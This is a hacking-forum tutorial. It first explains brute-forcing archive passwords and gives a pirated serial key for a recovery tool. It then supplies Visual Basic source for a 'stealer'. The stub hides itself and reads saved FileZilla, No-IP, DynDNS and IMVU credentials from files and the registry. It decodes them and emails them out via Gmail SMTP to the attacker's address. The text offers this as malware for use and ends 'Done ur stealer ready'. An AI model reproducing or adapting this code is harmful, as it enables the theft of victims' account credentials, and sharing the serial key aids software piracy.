SOURCE CODE

What's Brute Force?

Brute force attack is a strategy used to break the encryption of data. It involves traversing the search space of possible keys until the correct key is found. (Wikipédia)

What will you need?

WinRar -- http://www.baixaki.com.br/download/winrar.htm
Advanced Archive Password Recovery 4.53 -- http://www.sharewareconnection.com/advan...covery.htm

If you want a full version of the program you'll have to download the version "Pro 4.00"
Serial:
ARCHPR-TBHW5SSMYGQS-GNGD56ZSWN7NZ4UG

Download and install them!

First of all you'll open "Advanced Archive Password Recovery"

Then go to the lenght tab and edit the "Max Lenght" to 20, click open and choose the protected file!
hen you should see a progress bar loading and when the program finds the correct password

Open Visual Basic:

Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok

From the Toolbox drag:

* Button1 = Build
* TextBox1
* TextBox2
* Label1- Change text to: Gmail Username:
* Label2- Change text to: Gmail Password:

Now when you add all these, on top of code add:

Code:
Imports System.IO

Now under Public Class Form1 add following code, that would be strings:

Code:
Dim stub, text1, text2 As String
Const FileSplit = "@OriginalCoder/Cyberhackers.org@"
Now lets move to source code part, double click Button1= Build Button and write:

Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe",

OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe",

OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)

Wow the Builder is done!
Now we need to make the stub!

Now you got your builder and now lets move to Stub.

* Run Visual Basic
* In Tab click File > New Project
* Windows Application > "Stub" > Click Ok


From the Toolbox add:

* Textbox2 - Gmail Username
* Textbox3 - Gmail Password


Now when you add all these, on top of code add:

Code:
Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32

Now under Public Class Form1 add following code, that would be strings:
Code:
Dim options(), text1, text2 As String
Dim filezillaPass as String = ShoitZilla()
Dim NoipPass as String = IpRecord()
Dim dyndnsPass as String = GoogleDns()
Dim imvuPass as String = DoToVu
Dim pidginPass as String = PidginRec()
Dim result As Integer
Const FileSplit = "@OriginalCoder/Cyberhackers.org@"



Now double click Form1 and write following code:
Code:
me.hide
me.visible = false
dim nl as string = vbnewline
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = filezilapass & nl & noippass & nl & dyndnspass & nl _
& imvupass & nl & pidgin & nl & "Do not Share this Tutorial in Other Community's Please! If you want me to Keep posting Source Codes and Tutorials."
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
And add All these Functions to the source code:

FileZilla:
Code:
Function ShoitZilla() As String
On Error Resume Next
Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
Dim FileBuffer As String = vbNull
Dim NL As String = vbNewLine
FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
Dim str As String
Dim Output As String = Nothing
Dim TempData() As String
TempData = FileBuffer.Split(vbCrLf)
FileBuffer = Nothing
For Each str In TempData
If str.Contains("</Host>") Then
str.Replace("<Host>", "").Replace("</Host>", "")
Output = Output & "Host : " & str & NL
End If
If str.Contains("</User>") Then
str.Replace("<User>", "").Replace("</User>", "")
Output = Output & "Username : " & str & NL
End If
If str.Contains("</Pass>") Then
str.Replace("<Pass>", "").Replace("</Pass>", "")
Output = Output & "Password : " & str & NL & NL
End If
Next
Output = Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "")
ShoitZilla = Output
End Function

No-Ip
Code:
Public Function base64Decode(ByVal data As String) As String
Try
Dim encoder As New System.Text.UTF8Encoding()
Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
Dim decoded_char As Char() = New Char(charCount - 1) {}
utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
Dim result As String = New [String](decoded_char)
Return result
Catch e As Exception
Throw New Exception("Error in base64Decode" & e.Message)
End Try
End Function
Function IpRecord() As String
IpRecord = Nothing
Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
Dim NL As String = vbNewLine
IpRecord = "Username : " & Username & vbNewLine & "Password : " & base64Decode(Password) & vbNewLine
End Function
DynDNS:
Code:
Public Function GoogleDns() As String
On Error Resume Next
GoogleDns = Nothing

Dim sAppData As String
Dim sPath As String
Dim sLine As String
Dim sUser As String = Nothing
Dim sPassword As String = Nothing
Dim i As Integer
Dim sChars As String = Nothing
Dim lPtr As Integer

sAppData = Environ("ALLUSERSPROFILE")

If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

sPath = sAppData & "DynDNS\Updater\config.dyndns"

'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
If Dir(sPath) <> "" Then
FileOpen(1, sPath, OpenMode.Binary)
Do While Not EOF(1)
sLine = vbNullString
sLine = LineInput(1)
If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
If Left(sLine, 9) = "Password=" Then
sPassword = Mid(sLine, 10)
'We have what we want, now exit do
Exit Do
End If
Loop
FileClose(1)

For i = 1 To Len(sPassword) Step 2
sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
Next i

For i = 1 To Len(sChars)
Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
lPtr = ((lPtr + 1) Mod 8)
Next i

GoogleDns = "Username : " & sUser & vbNewLine & "Password : " & sChars & vbNewLine
End If
End Function

IMVU:
Code:
Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
On Error GoTo Error_Renamed ' // If Error dont Display Error
Dim X As Object ' //
X = CreateObject("WScript.shell") ' // Create REG Object
ReadKey = X.regread(hKey) ' // Read The Key
Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
End Function
Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object ' // Simple Function for Pass Hex to Ascii
Value = Nothing
For i = 1 To Len(Text) ' Len of Encripted Text
num = Mid(Text, i, 2) ' // Go Chr by Chr
Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value ' //
End Function
Public Function DoToVu() As String
Dim sUser, sPass As String ' // Some Variables
sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
DoToVu = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))

Exit Function

Done ur stealer ready

Give us feedback

 The Best Way To Download Files with Many Links From Rapidshare